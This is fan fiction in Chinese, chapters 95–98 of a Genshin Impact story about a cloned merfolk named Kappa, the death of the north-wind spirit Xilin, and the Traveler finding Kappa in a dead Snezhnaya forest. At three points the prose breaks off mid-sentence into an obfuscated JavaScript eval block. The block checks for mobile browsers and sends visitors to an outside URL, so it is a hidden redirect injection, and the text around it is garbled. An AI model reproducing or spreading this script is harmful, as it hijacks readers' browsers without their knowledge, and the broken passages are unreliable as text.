机械头颅属于zeta,那个有点小臭屁的多托雷切片。仿生人类终究不是人类,卡帕扭下了他的头颅后,挖出他红宝石一般的义眼,把义眼和剩下的机械躯体都扔掉了,只要那颗薄荷蓝色的头颅。 正常人类都会认为心脏最重要,但博士那种对自身能力才华自负到一定程度的学者来说,大脑才是他引以为傲的东西。所以切片分到的力量都储存在大脑。 与其说卡帕想要拔鸟毛,不如说他想要博士身上的,神赐的力量。 【时间】的力量。虽然只是一小块,但足够强大。 人类能在人类面前守住这份力量,人类也能凭借背后的神明守住这份力量。但是人类无法在无惧神明威光的强势龙裔面前保全自我。 从一开始,无论是静原还是卡帕,嘴馋的都是这份力量。对方守不住,还不允许我抢吗? 静原不会抢,不代表卡帕不会。 他高高兴兴的把机械头颅拆开,取走那一小块力量塞嘴里。然后把多余的包装都扔掉,满心期待着西琳带他走。 北风为此稍稍停驻,至冬郊外的风雪也不再狂舞。 北风的精灵叹气,它仿佛不是一把寒光凛冽的尖刀,而是一面折射天光的镜子。 “可是小鱼,真正的严冬就要来了。你不能继续待着这里,你得离开,你得去温暖的地方。”白翅轻抚人鱼的脸颊,“就像那个与你血脉相连的兄弟那样,你们属于温暖的海洋。 而不是坚硬的冻土,不是风雪隔绝的冰原。 95.春日迟迟 西琳说,你要到温暖的地方去,就像你的兄弟那般。 卡帕不理解:“我为什么要和他一样?” “西琳,你也将我当成其他人的附属品吗?” 他知道西琳说的兄弟是谁,无外乎自己这身血肉的母本。可是他为什么要和母本一样?凭什么? 如果它说是,如果它表露出一点点肯定的意思,我就把它吃掉。 这样,西琳就不会抛弃我飞走了。 人鱼水蓝色的眼睛闪烁着冰冷的寒光:“回答我好吗,西琳。” 一时间,博士的身影和人鱼重叠。西琳悲哀的意识到实验室的生活给人鱼留下了不可磨灭的印记,在不理解博士语言的时候,他就无师自通学会了模仿。 ……真的只是模仿吗? “怎么会,你就是你,卡帕。你和他不一样。”北风的精灵叹气,“那就和我走吧,我们去森林。” “森林?就是你说的,有很多树与草的地方吗?”卡帕现在看上去异常乖巧镇定,仰着脸盯着北风的精灵在天空为他指引方向,可怜又可爱。 “从前有很多,如今……”西琳操控北风,让气流为人鱼开道,顺利的游入至冬的水脉,潜入森林的地下暗河,“只剩下一些残余。” 全盛时期的至冬大森林占据了至冬陆地面积的五分之一,水脉四通八达,维系着森林与周边村镇的生机命脉。如今的森林放在后世就像个公园似的,北风在林间呼啸而过,大片河床裸露,积雪不曾消融。 卡帕度过了一段相当艰辛的旅途。一些流水断绝的地方只能他双手撑地狼狈的爬,下腹被冻得鳞片发脆一搓就掉,但是他不在意,反而高高兴兴的哼着歌谣。 人鱼的歌声是最原始的精神攻击手段,卡帕的声音异常尖锐,无论他心情如何,任何拥有物质大脑的生物听到他的声音后都会因为痛苦而尖叫或者沉默死去。除非提前给自己加固精神防御,或者压根就没有大脑这种东西。 前者指博士,后者指西琳。 卡帕的歌声是具有强烈攻击性的,就像用碎掉玻璃里最尖锐的那块狠狠扎脑袋。人类听后疯癫,鸟兽听到惊惧而亡。静原的歌声和鲸鸣同频,悠长舒远,能够安抚人心,引渡灵魂。 西琳难以解释他们为何如此不同。 卡帕拖着尾巴钻进林中湖泊,湖水没有外面被风雪裹挟那么冷,待久了也就习惯了水温。他对于新的“生态缸”感官不错,并没有博士预想中那样脆弱,会和培养皿里生长的家伙一起死掉。 湖里有鱼,按理来说卡帕不会缺少食物来源,可惜他不吃鱼。西琳只能去给他弄一些可以裹腹的食物,但是卡帕听到西琳要离开,说不用。 “我已经吃饱了。”卡帕拍拍自己的肚子,“下次饿的时候,我再去找一只薄荷蓝小鸟。” 薄荷蓝小鸟会特殊的魔法,能把自己变成很多个。卡帕很喜欢。 北风的精灵因此沉默:“但我仍会离开。” “你要去哪?”卡帕不知道什么叫隐私和个人空间,他只是执拗的想要一个答案。 “去看那些人类的追兵,我要确保你留下的痕迹被清除干净,没有人类可以发现你。” 卡帕勉强接受这个回答。 就在西琳要离开时,泡在湖水里修养的人鱼突然轻声询问:“你还会回来吗?” “森林是北风的温床,这里是我的家。”西琳扑打着翅膀做出承诺,“我会回家的。” “北风从不背弃自己的诺言。”西琳如此做出保证。 卡帕露出笑容:“嗯嗯,我等你回家哦。” 不回来的话,我就走到岸上去,追逐风的尾巴,把你抓回来吃掉。 小鸟,可爱的小小鸟~ 小鸟,我要拔光你的羽毛~ 北风的精灵明明飞到远方,好像还能听到卡帕的歌声。它没有实体,却莫名感受到灵魂层面的不寒而栗。 北风有灵魂吗? 一首歌的时间结束,收敛了所有笑意,面无表情的卡帕向后仰倒,沉睡在湖中。 枫丹苍晶区,厄里那斯山骸。 大块的深紫色草地上长着白线圆圈状的植株,曾经有非植物也非动物更非真菌的隙境原体在这边漫无目的徘徊。不过自厄里那斯心脏彻底停止跳动后,隙境原体的数量便急剧减少,到最后只剩下三两群。 格蕾丝蒂很可惜,她小时候尝试饲养隙境原体,为此特意考了营养学的相关证书,结果一个有用的都没有。因为监护人叔叔不允许。 科学家对这种现象提出了若干假设,不过隙境原体并不是枫丹热门研究题材,倒也没掀起什么风浪。 静原坐在泡泡橘树下和格蕾丝蒂野餐,远远看了一眼在自己地盘晃荡的紫色隙境原体就收回目光。灰蓝伞雀和赤棕伞雀在横躺的枯木上排排站,对于小美露莘的投喂并不会受惊逃走,而是蹦蹦跶跶的啄食饼干和面包。 几只叶绿扇尾鸽也想来凑热闹,结果看到美露莘身后坐着个蓝毛怪,慌不择路跑了,留下几根草绿色的尾羽。 已经是春天了。 枫丹海又响起鲸群的歌声,哄着城市和村镇的孩子们入睡。在漫长到雨季到来前,花朵与草木尽情的吸收阳光蓬勃生长,草地上铺满粉紫与暖黄的花朵。 这是静原最喜欢的季节,没有什么事的话,他可以躺在阳光直射的浅水区睡上一整天,或者到山坡上躺着休息。 俗话说得好,春困秋乏冬眠夏打盹。静原偏偏喜欢在万物复苏的春日睡觉,其余的季节到处跑,就没闲下来过。 “卡吕普迪斯大人最喜欢春天吧。因为海上没有风浪,也不到远海捕捞的时节。事故发生几率最低呢。”格蕾丝蒂坐在野餐垫上剥橘子。 “是这样的没错,春天真好啊。”翘着腿躺在垫子上闭眼休息的静原晃了晃脚,“不冷不热,风也和煦。这对我很友好。” 格蕾丝蒂无奈摇摇头,把剥好的泡泡橘一分为二,塞进他嘴里:“卡吕普迪斯大人太娇气啦。怕冷又怕热。”美露莘们都可以忍受酷热和寒冷呢。 嚼着橘子的人鱼得意笑:“没办法,谁让我生在枫丹呢。” 地理位置堪称最优的陆上大湖,万水发源地。气候温暖,四季皆宜。如果不是洪水灭世的预言压在人们心头,其实枫丹的国民幸福度真的能够争一争第一。不过璃月实在太强大了,预言也是存在的,所以这个假设没有意义。 但也能说明静原在枫丹海生活得很好,温暖的海洋任他索予,如果不是他自己挑食,也不至于体检常年低分过。 虽然总说讨厌人类,但这家伙还是会为自己的身份和国籍感到骄傲的。 静原最近确实比较闲,不然格蕾丝蒂也不会和他打着野餐的名号出来睡午觉。 叔叔是这样的,有危险的时候他最可靠,没危险的时候他最无聊。格蕾丝蒂摸着下巴想了想,觉得叔叔懒就懒吧,无病无灾的继续生活下去就好。 沫芒宫今日收到了一份特别的信件。是大半年前离开的那位旅行者寄来的,收件人是那维莱特大人。 旅行者在信说纳塔的危机已经解除了,等他逛完须弥和稻妻就回枫丹跟他们分享旅途的见闻。那维莱特看到这里觉得都还正常,余光瞥到下面几行字瞬间凝滞。 克洛琳德来沫芒宫交上次代理决斗免责书——这东西是要留档的。听见职员们在聊旅行者的故事,因为和对方相熟便多听了一耳朵,准备下班后分享给娜维娅。 娜维娅:“旅行者要回来了?这可真是个好消息!到时候我们组局再玩一次桌游吧!” 她还记得上次几人一起组桌团的时间发生了许多有趣的事情,跃跃欲试:“这次我们可以组一个更大的团,让朋友们都来玩。芙宁娜不必说,比如千织比如夏洛蒂比如夏沃蕾!她们应该还没有玩过吧?我最喜欢带新玩家了~” 克洛琳德完全附和。 “话说,如果琳妮特也在的话就好了。她在枫丹廷的话,我们就可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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格蕾丝蒂笑起来:“没有呢,希格雯上次买的贴纸还没有用完。公爵大人放心吧。” 莱欧斯利放不下心。 但格蕾丝蒂都这么说了,他也没法做什么,简单寒暄过后就离开了。殊不知在他转身那一刻,一张美露莘特制的海鲜*贴纸就悄无声息的粘在公爵大人外套后了。 每个来梅洛彼得堡玩的美露莘都是贴贴纸高手,有时候身为监狱长的莱欧斯利都不知道这些贴纸是什么时候粘在他身上和拳套上的。 格蕾丝蒂微笑着注视莱欧斯利离开的背影,让人光凭外表完全看不出来她的实力。特许券食堂的大厨先生眼观鼻鼻观心,表示自己什么都没看到。 而那边,照常巡逻完水下堡垒的公爵回到办公室,脱下外套挂在衣架上,突然看见那张蓝色的海獭贴纸,愣怔后笑出声。 格蕾丝蒂小姐倒也没撒谎,毕竟这次的贴纸不是护士长定做的,而是她定制的海鲜款。 悠悠海獭吗? 和工作完的希格雯在食堂吃完今天的免费午餐,两个女孩子一起在医务室分享新款贴纸。 格蕾丝蒂大方的把几板贴纸都给了好姐妹:“海獭和鲨鱼是稀有款。天使海兔有两种,你肯定喜欢这个粉色的。还有我找商家特意定的小蓝鱼款式,其他的款式也有很多啦。不过我最喜欢小蓝鱼的,只能分给你一张哦。” 希格雯已经很满意了:“好可爱的贴纸,谢谢你。今天就去试试吧。” “我刚刚已经成功贴了一张哦。” “格蕾丝蒂好狡猾。我也得努力了呢。” “塞德娜和梅莘她们都有自己贴纸哦,希格雯加油。月底公爵大人述职的时候,问他哪种款式的贴纸最多吧。” 小姑娘们嘀嘀咕咕,办公室里的莱欧斯利喷嚏一个接一个。他只知道美露莘们热衷于在他身上贴贴纸做游戏,虽然无奈,但也没生气过,更不清楚参与这种游戏的美露莘到底有多少。 如果静原在这大概会告诉他真相:除了海沫村一些不爱出门的美露莘,几乎所有活动在枫丹廷的美露莘们都参与了这场游戏。 莱欧斯利,你被美露莘包围了。 96.今夜我不曾入梦 在枫丹,受到美露莘的喜爱并非是一件坏事。 人类认知中,美露莘是被神之眷属那维莱特大人带来枫丹廷的神奇物种,是大守护者卡吕普迪斯大人保护的孩子,是从厄里那斯血肉中诞生的海洋天使。 五百年的时间足够美露莘成功融入这个国家,融入人们生活的方方面面。在成年人眼中,美露莘是被一群天真浪漫的、需要被保护的可爱小女孩。做事认真负责,被美露莘一口一个“可爱的人”称呼着,什么厌烦疲倦挫折都将治愈。她们不以着装、首饰、言辞去衡量一个人地位的高低,人们能感受到那种在她们看来理所应当的尊重。除去职位因素,美露莘们对人类都是一样的,但她们会特别关照一些孩子。 也因此在未成年眼中,美露莘是温柔可亲的大姐姐,虽然个子小小的,但力量大大的。 莱欧斯利幼时就感受过美露莘们的温暖,对小姑娘们来说,那是她们职责范围内可以做到的事,可莱欧斯利明白不是所有人站在这些位置上都愿意对杀死养父母的他和蔼微笑,送他热汤毛巾,尽力帮他还原事件真相,全力为他治疗。 虽然严格来说这都是本职工作,但有几个人愿意对素不相识的阶下囚如此呢? 也因此,莱欧斯利对于美露莘的好感非常高,身居高位后,也愿意容忍小姑娘们在他身上做游戏。 啊……大概明白那维莱特和卡吕普迪斯大人心情了。 那维莱特的心情并不好。 旅行者在信中说到纳塔地区火龙王修库特尔曾以假死蒙蔽视听,但他假死的那副躯体已经被深渊污染操控,不知真身情况如何。 旅行者问他,元素龙类没有办法抵御深渊的侵蚀吗?他还举过很多旅途中见到的例子。比如蒙德的风龙特瓦林被魔龙杜林的毒血侵蚀,比如须弥的草龙阿佩普咽下被污染的魔神阿赫玛尔尸体遭受禁忌的折磨…… 要怎么做,才能抵御危险呢? 旅行者不说这些,那维莱特都不知道其他国家的元素龙受到了如此磨难。 深渊……这确实是摆在审判僭越者之前更严肃的难题。 那维莱特为此苦恼,做出了许多假设,可是一条接一条都被否决。 本来以为自己回家已经够晚的静原惊愕的发现有龙一整晚都没有回来,百思不得其解,这又是发生了什么大案子,要最高审判官坐镇沫芒宫整整一日? 第二天带着早餐去看望老大的静原刚推开办公室的大门,就看见办公桌上堆起来的厚厚几摞纸张。 一开始他还以为是什么卷宗案件或者报告,结果走近些,余光瞥见的龙类文字瞬间攥住他的心神。 【修库特尔】、【深渊】、【污染蔓延】、【抵御侵蚀】…… 那维莱特从伏案埋头书写计算的状态中抽身,对他露出一个略显疲倦的微笑:“早上好,卡吕普迪斯。” 于是静原也只能微笑:“早上好。” “在继续思考之前,先吃些早餐吧。” 风带来了另一股气息。 北风的精灵扑打着拟态的翅羽,原本雪色的翅膀沾染了深紫色的淤泥,一边的翅膀沉重到拖不起来,紫红的丝线缓慢的纠缠它的“眼睛”。可是另一半翅膀还在奋力的扑腾,让风元素拖着它飞回家乡。 天亮起又暗下,日升月落不知多少次,西琳终于看到了那一小片森林在白茫茫雪色中藏着的一点点暗沉的绿意。 只是远远的看了一眼,只是远远的看着家就在哪里,居无定所的北风精灵都会感到一种名为“温暖”的情绪在胸腔蔓延。 温暖对于北风来说意味着光和热,意味着另一种意义上的死亡。 明亮的“眼睛”告诉西琳,不能再往前了,污染不能被带到那里去,你该找个无人的地方等待风核的寂静。 紫红的“眼睛”告诉西琳,那条小人鱼,那个无知无觉的孩子还在等你回家呀。快回家吧西琳,快去履行你对他的约定,北风是不会背弃诺言的。 回家……我答应过他会回家…… 北风是不会背弃自己的诺言的。 名为西琳的鸟只剩下这个念头,于是深紫的力量疯狂蔓延,像荆棘藤蔓紧紧纠缠这只小鸟,双翅都裹挟着污浊的力量。哪怕北风抗拒祂的到来,哪怕森林摩挲着枝叶颤抖着拒绝祂的进入,祂还是飞到了森林中心的湖泊上空,欢喜的叫着:“卡帕卡帕,我回来了。” 平静的湖面掀起涟漪,从西琳鸟的视线往下看,能看到人鱼蓝色的小脑袋像是从地里钻出的蘑菇一般,发丝披散飘在湖面上,就像蘑菇在雨后蓬松的舒展菌盖。 卡帕仰起头,水蓝色的眼睛澄澈而明亮。 那是什么? 一团正在燃烧的,紫红色的火焰? 火焰是可以飞在天上的吗? “卡帕。”西琳鸟轻柔呼唤人鱼的名字,缓慢的降落到人鱼眼前,“我找到了更适合你居住的地方,跟我走吧?” 我发现了不远处酝酿的风暴,底下藏着不可名状的危险。你得离开这里。 “那里生长着青绿的巨树,湖水清亮,水脉四通八达,距离至冬很近。我可以乘着风去找你。” 那里生长着巨大的紫红色花朵,藤蔓一直一直往上爬,似乎要撑破穹顶。深紫色的潭水污浊,潭水中隐藏着吃人的妖鬼。你要游,你要游得越远越好。 人鱼歪着头,看这团火焰噼里啪啦的燃烧着,烫得他的脸有些许刺痛。 卡帕讨厌痛感,于是操控湖水将火焰裹住试图熄灭它。但是火焰并不怕水,反而像是浇上热油一般越发熊熊燃烧。那紫红色的火焰不断扭曲,最后居然变成了雪鸮的模样。 是西琳的模样。 人鱼终于顿住了,他从自己未曾开发完全的记忆库中疯狂搜寻类似的情况,但是没有,什么提示都没有。 也许只是一团会变化的火呢。 火焰仍在燃烧,簌簌的落着灰。那灰流淌着,流进湖泊,然后变成灰色的鱼群。 鱼群闭着眼,齐齐摇摆着尾巴,张着口唇告诉他。 【快快游走吧,游得越远越好,游到祂们看不到你的地方。】 【卡帕,你是自由的小鱼。】 林中吹来一缕风。 火焰凝成的雪鸮发出一声尖锐的鸣叫,体内原本寂静的风核灌入了森林送来的风,激烈的扭曲变形,在剧烈爆炸发生前,灰色的鱼群裹挟着人鱼沉入湖底。 火烟不再产生灰,流尽了灵魂最后一滴泪的西琳鸟在森林哀伤的注视下决绝而无悔的死去。 流火如雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565907|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四溅,灼烧着草木。飞灰掺杂入风中,旋转着,飞舞着。 隔着厚厚的冰冷湖水,卡帕没有受到任何冲击。等这群莫名出现的灰色小鱼簌簌化为湖底的沙砾,他才游上去浮出水面。 林中树枝在风声中摩挲,森林母亲在低低的啜泣。风送来北国纯洁的雪花,呼啸而来的冰雪将灰烟焚烧殆尽后的余灰一层层掩埋。 像是一场简陋的葬礼。 身穿黑礼服的乌鸦忠实的将北风精灵的死讯传播,卡帕未曾获得王的传授,没能掌握龙族的语言,自然也不清楚乌鸦在说什么。不过他大概能理解是有谁死去了。 今天西琳也没有回来。 西琳什么时候才会回来? 人鱼在漫长的等待过程中愈发沉默,他泡在西琳为他选择的湖水里,看着少见的狼群低头穿行而过,看着周围的暗绿被灰白取代,树叶簌簌的落个干净,乌鸦们倒在雪窝里,僵硬而冰冷,兔子狐狸也不再出没。 森林也死去了吗? 在一堆尸骸无言的守护下,不清楚外界变化的人鱼缓慢的眨了眨眼睛,沉入湖底休眠。 三十个太阳升起又落下,然后三十个月亮高悬又沉寂。如此度过六十个的日夜,他等到了死寂森林中新来的访客。 “旅行者你看,这边还有湖水唉!”稚子的声音相当欢喜,“唯一没有变成灰白的正常湖水,里面一定有鱼可以捉来吃!” “这种情况和须弥那边的死域很像,湖水看上去正常,可能污染藏在里面。保险起见我们还是吃腌肉吧。”这个少年的声音有些无奈。 “可是我们已经连着一个月都在吃腌肉啦!派蒙我已经被香肠熏肉腌成干巴巴的样子了!呜呜呜我想吃新鲜的肉和蔬菜……” “抱歉派蒙……我来试试看能不能捕到鱼吧。” 人鱼在湖底睁开眼,看着深入水下搅动的抄网——他没见过那种东西,尝试把周围的石头投进去一个。 旅行者感到抄网一沉,还以为是什么大货上来了,喜出望外抬手捞起,派蒙急不可耐凑过来瞧,结果让两人大失所望。 “为什么是石头啊!”派蒙脸蛋皱巴巴,像个小苦瓜,很快安慰好自己又安慰旅伴,“再试试再试试。” 旅行者自然没那么容易灰心,再次下抄网。 湖底,人鱼看见那只抄网又伸下来了,没感觉到危险,于是试探性的把手搭上去,向下拖拽。 旅行者感受了一下:“这次的更沉了。” “说不定是一条大鱼呢。”派蒙依然乐观,“加把劲加把劲,很快就可以加餐啦!” 她在那欢天喜地的加油鼓劲,旅行者使出了吃奶的力气,脸涨得通红,才在和人鱼的博力中占据了微弱的上风,看出不太对劲的派蒙拽着他的辫子也开始使劲,疼得旅行者快习惯派蒙这种帮忙方式了,最后奋力一拔,眼前放大的黑影让旅行者瞬间意识到这次捞上来的恐怕不是什么正常东西。 派蒙在他身后看不清形势,还以为大鱼钓上来了:“快让我瞧瞧,大鱼大鱼大——” 声音戛然而止,像是一只被掐住脖子的公鸡。 扑腾一下被摔到地上的卡帕生气的抬起头,却瞧见两个陌生搭档目瞪口呆的模样。 “卡吕普迪斯!!!” 97.当我想起你 “卡吕普迪斯!!!” 派蒙和旅行者同时喊出这个名字,原因无他,因为面前的这条人鱼和枫丹那位老朋友长得一模一样。 派蒙:“卡吕普迪斯你怎么到至冬来了?” 旅行者:“派蒙,这不是卡吕普迪斯吧……” 虽然是都是蓝发蓝眼睛白皮肤,五官几乎一模一样,但他们远在枫丹的老朋友显然更年长一些,眼前这个脸颊上还有些许未褪去的婴儿肥,很明显的少年形体。 疑似卡吕普迪斯少年体的人鱼目光沉沉,显然正在生气。 派蒙回过神来:“为什么卡吕普迪斯有那么多不同的形态,一见面就这样不好收场?” “我也不知道啊派蒙。”旅行者无奈摊手,“话说我们不是为了查清寒风森林消失的秘密才来的吗?也许他知道呢?” 卡帕看着面前一大一小叽里咕噜的说着话,扭身就想回到湖中去。地上脏脏的,哪怕白雪覆盖其上,卡帕也能想到那天流火飞灰的景象,莫名的心生烦躁。 但是金色的小太阳和银色的小月亮叫住了他。 “那个,刚刚那么冒失的把你拉出来真的很抱歉,我们该怎么称呼你呢?”旅行者没有感受到面前人鱼的攻击意图,也知道自己大概闯入了对方的领地,强势的把人家从家里拽出来的行为实在是太失礼,“我是旅行者,这位是我的伙伴派蒙。” 派蒙补充道:“我们是旅行到至冬的冒险家,接到了至冬居民的委托来探寻寒风森林一夜之间消失的真想。因为在北境长途跋涉一个月,看见湖就想捞鲜鱼吃……很抱歉打扰你啦!” 人鱼歪着头,好奇懵懂的打量着眼前陌生的组合。不是北风的精灵,也不是实验室里的人类。是友好的,还是需要警惕的?说的话是真是假? 他不知道,他谨慎的保持沉默。 能在和人鱼的角力中占据上风,旅行者的实力姑且让卡帕生起防备心。他还没能认清自己在食物链中的地位,因此沉默和打量是必要的。 旅行二人组没能得到人鱼的回答,却也没有继续多说什么。 因为人鱼看上去实在是,太具有野性了。[卡吕普迪斯]那种精神病珠玉在前,旅行者不敢再拿派蒙和自己做出试探了。 卡帕退回到湖水中。 旅行者和派蒙继续在这片死去的灰白色林中探险。 白茫茫的雪覆盖大地,呼啸的北风如同闪着凛冽寒光的软刀,刺得脸和眼睛生疼。只能佝偻着身子借助那些死去多时的,光秃秃的灰白树干遮掩一二。 什么可以食用的果子都没有,于是理所当然的,这里也没有什么活着的小兽。 “没有食物来源,那条人鱼是怎么活下来的呢?”派蒙一张嘴就被塞了数不清的雪,呸呸两声吐掉,继续巴拉巴拉,“而且他和卡吕普迪斯长得太像了吧?会不会是他的兄弟之类的?” “不可能,卡吕普迪斯说过他没有人鱼同族。” 旅行者的声音闷闷的,用粗粗的树枝在雪窝里扒拉着,只能找到冻僵的乌鸦和兔子尸体。保存得很好,极寒让它们不会腐烂,更高级的猎食者没有到来,于是它们等到了今日,等到了异乡的旅者来检查它们真正的死因。 “这些小动物几乎是同一时间死去,胃里还有没有消化完的植物茎叶和浆果种子。”旅行者检查完后表情更严肃了,“一开始还以为和死域造成的污染类似,结果完全不同。这里没有污染的痕迹,雪下只有灰。” 像是经历了一场盛大的劫火,焚烧了什么。只有那片湖水清亮澄澈,不染尘埃。 而且这片灰白的树林所在位置也很巧妙,居然是地图上寒风森林版图最靠近北部的一小块地区。 “……先生火做顿饭吧,然后我把帐篷搭起来。”旅行者麻溜的拾捡干柴,“今天肯定是走不远的。” 与其睡在白茫茫一眼望不到尽头又空无一物的雪原,不如在有饮用水的地方修整一晚。这里好歹有枯木挡风,雪原上可什么都没有。 他把帐篷搭在湖水不远处,在背风处生气篝火,搭建了建议的灶台做饭。取水的时候也没有窜出人鱼,旅行者姑且放下一半心。 小锅咕噜咕噜煮着冻得干干巴巴的卷心菜和土豆,大块的腌肉析出在时间和风雪沉淀中的风味物质,派蒙真的饿狠了,哪怕是她连着吃了一个多月的腌肉也能狼吞虎咽,热汤下肚,僵硬的手脚才逐渐温暖起来。 “至冬真的太冷啦……”派蒙吃饱了就想睡觉,依靠着旅伴的肩膀打哈欠,“当年的龙脊雪山都没有这么难熬呢。” 龙脊雪山三步一火把,五步一取暖桩,璃月和蒙德的冒险家来来往往,尽其所能给后来者留下足够多的取暖设备以及物资,哪是人迹罕至的至冬北境能比的? 至冬女皇的部下们忙严冬计划,忙出现的深渊裂隙,忙实验数据,忙造机械机兵取代人力损耗,谁有那个闲心思去搞北境的取暖基础设施?且不说经过特化的愚人众战士不会单独行动,集体合作能让他们无视北境呼啸的寒风。光是普通人就会待在有供暖设备的城市和村镇,没事不会往危险的北境乱窜。 至冬也需要极寒和风雪挡在北境,将危险和人类生活区分割开来。 旅行者心里清楚这些,但不会告诉派蒙。只是轻轻哄着她:“没事的,等我们查清楚真相就能回到城市。快进帐篷睡吧派蒙,我等会就来。” 派蒙心里装不下太多东西,点点脑袋,一头扎进帐篷睡袋里,很快呼吸就变得绵长。 然后一夜无梦,平静的迎来第二日。 起早做早餐的旅行者一面顶着锅中的煎蛋,一面用余光去看那片平静的湖水。 他还以为人鱼会因为好奇而靠近呢,结果一晚上什么都没等到。 旅行者只能熄灭篝火,拆了帐篷,和派蒙一起吃过早餐继续前进。 越往前走越冷,双腿都没了知觉。呼吸间,至冬北境极寒天气产生的丰沛冰元素力量顺着呼吸道入侵五脏六腑,血管都要被冻凝了。旅行者调动了在纳塔共鸣得到的火元素力量才能缓慢的将这些冰元素排出,冷得牙齿都在打颤的派蒙更是直接窝进他怀里,被抱着继续走。 派蒙真的比在蒙德初见时长大了不少啊。旅行者掂量了一下这沉甸甸的手感,还是心疼:“比在纳塔瘦了好多。” “回到至冬城后我要大吃特吃。”派蒙哼哼唧唧回应。 前方出现正在攻击深渊魔物的愚人众士兵。 来到至冬后经历了不少,旅行者和执行官们也达成了合作,起码在至冬领土上不再互相攻击。敌人是深渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573462|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况下,更当齐心协力共渡难关。 他抄起剑就迎了上去,兽境群狼和那些拥有拟态力量的深邃植株似乎拥有智性一般,有目的的攻击愚人众士兵护送的补给物资和供暖材料。 深邃植株拟态的雪鸮和冰原狼群互相打配合,遭遇突袭的愚人众一时间损失过大,好在常年的魔鬼训练和经过强化的身体让他们迅速整备完毕发起反击。旅行者加入后更是合力清缴完魔物。 一问才知道这只小队只负责后勤运输,甚至算不上至冬的精锐尖兵。 “真正的尖兵部队是【队长】大人手下直属部队的前辈们,个个身经百战,只有他们奇袭深渊的份。”正在包扎伤口的岩役使声音低沉,却难掩骄傲,“抱歉旅行者,我们得继续前进了,这批物资需要运到前线的长官手中。” 风拳手扶着他站起来,这只后勤小队沉默的修整完毕继续前进,好像刚刚的深渊突袭根本没有发生过一样,没事人一般。旅行者看了很久才转身离去。 噩耗在三日后寄到了至冬宫。 北境冰雪镇压的深渊暴动,孕育出了更为扭曲可怖的怪物,似乎已经具有了人的智慧。蛊惑人心,诱导士兵同类相残。 “精神类的攻击手段,这次不仅是蒙蔽视觉,更是直接作用于灵魂。”博士在执行官会议上如此表态,“阿蕾奇诺和末席去支援,Omega跟着去。样体不要全都处理完了,我要研究对应的药剂。” 女皇有更要紧的事做,【丑角】和【队长】不在,执行官会议理所当然是博士做主,他没有明显犯浑的时候,低席位的同僚们没有理由拒绝。 至冬宫这边很重视这次的暴动,遍布七国的愚人众在本国的力量更是不容小觑。尚且还在雪原活动的旅行者和派蒙看着一队又一队的愚人众如流行划破天空般前赴后继,投入前方未知的战场。 他甚至看到了壁炉之家几个眼熟的孩子。 “前面到底发生了什么?”旅行者忍不住拉住他们的手询问,“为什么连孩子也要上战场?” “不清楚,长官只告诉我们那是具有精神攻击手段的强大的魔物。已经杀死了很多士兵,吸收了更多的力量。”那个孩子摇摇头,对他展示冰元素的神之眼,“祂拥有火的力量,能够熄灭然后重燃。” 卡帕终于感觉到腹中饥饿,他在湖底摆动自己逐渐长好的尾鳍,不知道要如何出去找薄荷蓝色小鸟。 湖水距离冰原下的海水具有相当长的一段距离,驱使并非难事,只是那样会带来一些小麻烦。 因为西琳说,那样做会引来人类和神明的视线,人类会孜孜不倦的来探寻异动发生的真相。 西琳还是没有回来,他等得太久太久太久了,久到他不愿再继续等待了。 卡帕最出决定,他要去找到西琳,把它的毛拔光然后吃掉。 人鱼吟唱尘封记忆中古老的歌谣,北风将他的声音传播到四方,穿过空旷的雪原,唤醒冰层下沉睡的波涛。 人鱼是海的孩子,海洋回应人鱼的呼唤,因此怒海掀起狂涛,冲破冰层,裹挟着北风与雪花呼啸着汹涌喷出,冰冷的海水被牵引,薄薄的水色遮盖了雪原的天空。 卡帕说:“带我走吧,妈妈。” 海的孩子说:“这儿太冷,我想回家。” 98.冰与水之歌 海潮汹涌,却也温柔。 卡帕顺着那道来接他回家的海水游起来,远远看上去像是一尾在天空游动的鱼。 他在空中游动,眼神微微向下一瞥,居然瞧见了茫茫雪地上狰狞的五官……? 紫红色的火焰铺展在雪地上,图案构成了一张扭曲尖叫的狰狞面孔,空洞的眼眶流淌着灰色的泪。 看上去就像是被火焰灼烧的,痛苦的灵魂在呐喊。半个雪原都是燃烧着的火焰,北风卷起冰雪试图吹灭,可惜愈燃愈烈。 卡帕被吓到了,那眼看那狰狞的火舌要舔到他的尾巴,碎冰漂浮的海洋猛然掀起狂涛,巨浪直接席卷烈火。 水与火在冰的国度打架。 这是真的吗?这是正常的吗? 卡帕被至冬海稳稳的接住,就像被母亲搂在怀里千般怜爱万般迁就的幼子,海上的碎冰都叫浪潮卷得沉底。 白鲸从遥远的峡湾赶过来,游到卡帕身下将他托起,好让他趴到背上看。 紫红色火焰组成的狰狞面孔无声的尖叫哭嚎,火舌向着腾空的海浪舔去,蒸腾的水雾叫北风一吹就冻成了细碎的冰碴子,噼里啪啦砸到地上,还以为下了一场大雨。 腾空的海浪得到了海洋源源不断的补给,化为手持长剑的半身巨人,北风组成的白色冰铠覆盖其上。巨人双手握剑,抬手向下刺,正中狰狞面孔的眉心。 